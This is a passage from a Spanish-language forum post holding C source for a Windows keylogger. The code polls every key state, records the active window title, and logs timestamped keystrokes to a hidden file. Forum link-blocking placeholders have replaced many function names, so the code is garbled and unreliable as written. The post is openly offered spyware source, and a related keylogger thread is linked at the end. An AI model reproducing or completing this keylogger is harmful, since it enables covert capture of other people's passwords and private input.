  84.                                 //como ha cambiado laventana, guardamos los datos
  85.                                 No tienes permisos para ver links. Registrate o Entra con tu cuenta=No tienes permisos para ver links. Registrate o Entra con tu cuenta("LgPh.log","a");
  86.                                 No tienes permisos para ver links. Registrate o Entra con tu cuenta(No tienes permisos para ver links. Registrate o Entra con tu cuenta,"\n\n[+] Fecha: %s",No tienes permisos para ver links. Registrate o Entra con tu cuenta(&ltime)); //metemos la hora
  87.                                 No tienes permisos para ver links. Registrate o Entra con tu cuenta(No tienes permisos para ver links. Registrate o Entra con tu cuenta,"[-] [ Ventana: %s ]",TVentana);
  88.                                 No tienes permisos para ver links. Registrate o Entra con tu cuenta(No tienes permisos para ver links. Registrate o Entra con tu cuenta,"\n    %s",Teclas);//guardamos las teclas
  89.                                 No tienes permisos para ver links. Registrate o Entra con tu cuenta(No tienes permisos para ver links. Registrate o Entra con tu cuenta);
  90.                                 //limpiamos la variable
  91.                                 No tienes permisos para ver links. Registrate o Entra con tu cuenta(Teclas);
  92.                                 Teclas=No tienes permisos para ver links. Registrate o Entra con tu cuenta(1024,sizeof(char));
  93.                         }
  94.                         //cojemos el nuevo hwnd
  95.                         ventana=GetForegroundWindow();
  96.                 }else{
  97.                         //y ahora cojemos el nuevo texto de la ventana
  98.                         GetWindowText(ventana,TVentana,500);
  99.                 }
  100.  
  101.                 /*creamos un bucle para saber qué tecla pulsa*/
  102.                 for(tecla=4;tecla<256;tecla++)
  103.                 {
  104.                         if(GetAsyncKeyState(tecla)==OK) //si pulsa una tecla
  105.                         {                              
  106.                                 //------------------------------------
  107.                                 /*ESCANEAMOS BUSCANDO CARACTERES A-Z*/
  108.                                 //------------------------------------
  109.                                 for(k=65;k<91;k++)
  110.                                 {
  111.                                         if(tecla==k)
  112.                                         {
  113.                                                 Teclas[No tienes permisos para ver links. Registrate o Entra con tu cuenta(Teclas)]=dominio[tecla-65];
  114.                                                 Teclas[No tienes permisos para ver links. Registrate o Entra con tu cuenta(Teclas)]='\0';
  115.                                         }
  116.                                 }
  117.  
  118.                                 //-----------------------------------------------
  119.                                 /*ESCANEAMOS BUSCANDO CARACTERES 0-9 DEL NUMPAD*/
  120.                                 //-----------------------------------------------
  121.                                 for(k=96;k<106;k++)
  122.                                 {
  123.                                         if(tecla==k)
  124.                                         {
  125.                                                 Teclas[No tienes permisos para ver links. Registrate o Entra con tu cuenta(Teclas)]=dominio_num[tecla-96];
  126.                                                 Teclas[No tienes permisos para ver links. Registrate o Entra con tu cuenta(Teclas)]='\0';
  127.                                         }
  128.                                 }
  129.  
  130.                                 //filtramos los caracteres, porque con 'toascii()' se añaden caracteres a parte
  131.                                 switch(tecla)
  132.                                 {
  133.                                 /*Miramos los "F1,F2..."*/
  134.                                 case 112:
  135.                                         No tienes permisos para ver links. Registrate o Entra con tu cuenta(Teclas,"[F1]");
  136.                                         break;
  137.  
  138.                                 case 113:
  139.                                         No tienes permisos para ver links. Registrate o Entra con tu cuenta(Teclas,"[F2]");
  140.                                         break;
  141.                                
  142.                                 case 114:
  143.                                         No tienes permisos para ver links. Registrate o Entra con tu cuenta(Teclas,"[F3]");
  144.                                         break;
  145.  
  146.                                 case 115:
  147.                                         No tienes permisos para ver links. Registrate o Entra con tu cuenta(Teclas,"[F4]");
  148.                                         break;
  149.  
  150.                                 case 116:
  151.                                         No tienes permisos para ver links. Registrate o Entra con tu cuenta(Teclas,"[F5]");
  152.                                         break;
  153.  
  154.                                 case 117:
  155.                                         No tienes permisos para ver links. Registrate o Entra con tu cuenta(Teclas,"[F6]");
  156.                                         break;
  157.  
  158.                                 case 118:
  159.                                         No tienes permisos para ver links. Registrate o Entra con tu cuenta(Teclas,"[F7]");
  160.                                         break;
  161.  
  162.                                 case 119:
  163.                                         No tienes permisos para ver links. Registrate o Entra con tu cuenta(Teclas,"[F8]");
  164.                                         break;
  165.  
  166.                                 case 120:
  167.                                         No tienes permisos para ver links. Registrate o Entra con tu cuenta(Teclas,"[F9]");
  168.                                         break;
  169.  
  170.                                 case 121:
  171.                                         No tienes permisos para ver links. Registrate o Entra con tu cuenta(Teclas,"[F10]");
  172.                                         break;
  173.  
  174.                                 case 122:
  175.                                         No tienes permisos para ver links. Registrate o Entra con tu cuenta(Teclas,"[F11]");
  176.                                         break;
  177.  
  178.                                 case 123:
  179.                                         No tienes permisos para ver links. Registrate o Entra con tu cuenta(Teclas,"[F13]");
  180.                                         break;
  181.  
  182.                                 case 27:
  183.                                         No tienes permisos para ver links. Registrate o Entra con tu cuenta(Teclas,"[Escape]");
  184.                                         break;
  185.  
  186.                                 case 8:
  187.                                         No tienes permisos para ver links. Registrate o Entra con tu cuenta(Teclas,"[Retroceso]");
  188.                                         break;
  189.  
  190.                                 case 13:
  191.                                         No tienes permisos para ver links. Registrate o Entra con tu cuenta(Teclas,"[Enter]");
  192.                                         break;
  193.  
  194.                                 case 9:
  195.                                         No tienes permisos para ver links. Registrate o Entra con tu cuenta(Teclas,"[Tabulado]");
  196.                                         break;
  197.  
  198.                                 case 20:
  199.                                         No tienes permisos para ver links. Registrate o Entra con tu cuenta(Teclas,"[Bloq.Mayus.]");
  200.                                         break;
  201.  
  202.                                 case 160:
  203.                                         No tienes permisos para ver links. Registrate o Entra con tu cuenta(Teclas,"[Shitf(Izq)]");
  204.                                         break;
  205.                                
  206.                                 case 161:
  207.                                         No tienes permisos para ver links. Registrate o Entra con tu cuenta(Teclas,"[Shitf(Dcha)]");
  208.                                         break;
  209.  
  210.                                 /*caracteres especiales*/
  211.                                 case 221:
  212.                                         Teclas[No tienes permisos para ver links. Registrate o Entra con tu cuenta(Teclas)]='¡';
  213.                                         Teclas[No tienes permisos para ver links. Registrate o Entra con tu cuenta(Teclas)]='\0';
  214.                                         break;
  215.  
  216.                                 case 219:
  217.                                         No tienes permisos para ver links. Registrate o Entra con tu cuenta(Teclas,"[']");
  218.                                         break;
  219.  
  220.                                 case 192:
  221.                                         No tienes permisos para ver links. Registrate o Entra con tu cuenta(Teclas,"[ñ]");
  222.                                         break;
  223.  
  224.                                 case 32:
  225.                                         No tienes permisos para ver links. Registrate o Entra con tu cuenta(Teclas," ");
  226.                                         break;
  227.  
  228.                                 case 144:
  229.                                         No tienes permisos para ver links. Registrate o Entra con tu cuenta(Teclas,"[Bloq Num]");
  230.                                         break;
  231.  
  232.                                 case 111:
  233.                                         Teclas[No tienes permisos para ver links. Registrate o Entra con tu cuenta(Teclas)]='/';
  234.                                         Teclas[No tienes permisos para ver links. Registrate o Entra con tu cuenta(Teclas)]='\0';
  235.                                         break;
  236.  
  237.                                 case 106:
  238.                                         Teclas[No tienes permisos para ver links. Registrate o Entra con tu cuenta(Teclas)]='*';
  239.                                         Teclas[No tienes permisos para ver links. Registrate o Entra con tu cuenta(Teclas)]='\0';
  240.                                         break;
  241.  
  242.                                 case 109:
  243.                                         Teclas[No tienes permisos para ver links. Registrate o Entra con tu cuenta(Teclas)]='-';
  244.                                         Teclas[No tienes permisos para ver links. Registrate o Entra con tu cuenta(Teclas)]='\0';
  245.                                         break;
  246.  
  247.                                 case 220:
  248.                                         Teclas[No tienes permisos para ver links. Registrate o Entra con tu cuenta(Teclas)]='\\';
  249.                                         Teclas[No tienes permisos para ver links. Registrate o Entra con tu cuenta(Teclas)]='\0';
  250.                                         break;
  251.  
  252.                                 case 49:
  253.                                         Teclas[No tienes permisos para ver links. Registrate o Entra con tu cuenta(Teclas)]='1';
  254.                                         Teclas[No tienes permisos para ver links. Registrate o Entra con tu cuenta(Teclas)]='\0';
  255.                                         break;
  256.  
  257.                                 case 50:
  258.                                         Teclas[No tienes permisos para ver links. Registrate o Entra con tu cuenta(Teclas)]='2';
  259.                                         Teclas[No tienes permisos para ver links. Registrate o Entra con tu cuenta(Teclas)]='\0';
  260.                                         break;
  261.  
  262.                                 case 51:
  263.                                         Teclas[No tienes permisos para ver links. Registrate o Entra con tu cuenta(Teclas)]='3';
  264.                                         Teclas[No tienes permisos para ver links. Registrate o Entra con tu cuenta(Teclas)]='\0';
  265.                                         break;
  266.  
  267.                                 case 52:
  268.                                         Teclas[No tienes permisos para ver links. Registrate o Entra con tu cuenta(Teclas)]='4';
  269.                                         Teclas[No tienes permisos para ver links. Registrate o Entra con tu cuenta(Teclas)]='\0';
  270.                                         break;
  271.  
  272.                                 case 53:
  273.                                         Teclas[No tienes permisos para ver links. Registrate o Entra con tu cuenta(Teclas)]='5';
  274.                                         Teclas[No tienes permisos para ver links. Registrate o Entra con tu cuenta(Teclas)]='\0';
  275.                                         break;
  276.  
  277.                                 case 54:
  278.                                         Teclas[No tienes permisos para ver links. Registrate o Entra con tu cuenta(Teclas)]='6';
  279.                                         Teclas[No tienes permisos para ver links. Registrate o Entra con tu cuenta(Teclas)]='\0';
  280.                                         break;
  281.  
  282.                                 case 55:
  283.                                         Teclas[No tienes permisos para ver links. Registrate o Entra con tu cuenta(Teclas)]='7';
  284.                                         Teclas[No tienes permisos para ver links. Registrate o Entra con tu cuenta(Teclas)]='\0';
  285.                                         break;
  286.  
  287.                                 case 56:
  288.                                         Teclas[No tienes permisos para ver links. Registrate o Entra con tu cuenta(Teclas)]='8';
  289.                                         Teclas[No tienes permisos para ver links. Registrate o Entra con tu cuenta(Teclas)]='\0';
  290.                                         break;
  291.                                
  292.                                 case 57:
  293.                                         Teclas[No tienes permisos para ver links. Registrate o Entra con tu cuenta(Teclas)]='9';
  294.                                         Teclas[No tienes permisos para ver links. Registrate o Entra con tu cuenta(Teclas)]='\0';
  295.                                         break;
  296.  
  297.                                 case 48:
  298.                                         Teclas[No tienes permisos para ver links. Registrate o Entra con tu cuenta(Teclas)]='0';
  299.                                         Teclas[No tienes permisos para ver links. Registrate o Entra con tu cuenta(Teclas)]='\0';
  300.                                         break;
  301.  
  302.                                 case 188:
  303.                                         Teclas[No tienes permisos para ver links. Registrate o Entra con tu cuenta(Teclas)]=',';
  304.                                         Teclas[No tienes permisos para ver links. Registrate o Entra con tu cuenta(Teclas)]='\0';
  305.                                         break;
  306.  
  307.                                 case 189:
  308.                                         Teclas[No tienes permisos para ver links. Registrate o Entra con tu cuenta(Teclas)]='-';
  309.                                         Teclas[No tienes permisos para ver links. Registrate o Entra con tu cuenta(Teclas)]='\0';
  310.                                         break;
  311.  
  312.                                 case 190:
  313.                                         Teclas[No tienes permisos para ver links. Registrate o Entra con tu cuenta(Teclas)]='.';
  314.                                         Teclas[No tienes permisos para ver links. Registrate o Entra con tu cuenta(Teclas)]='\0';
  315.                                         break;
  316.  
  317.                                 default:
  318.                                         //mostramos el caracter ascii de la tecla pulsada
  319.                                         //printf("{%d}",tecla);
  320.                                         break;
  321.                                 };
  322.                         }
  323.                 }
  324.         }while(1<2);
  325. }
« Última modificación: Febrero 08, 2014, 05:50:36 pm por Expermicid »


 

¿Te gustó el post? COMPARTILO!



Keyloggers C++

Iniciado por ANTRAX

Respuestas: 0
Vistas: 1779
Último mensaje Mayo 22, 2011, 09:55:10 pm
por ANTRAX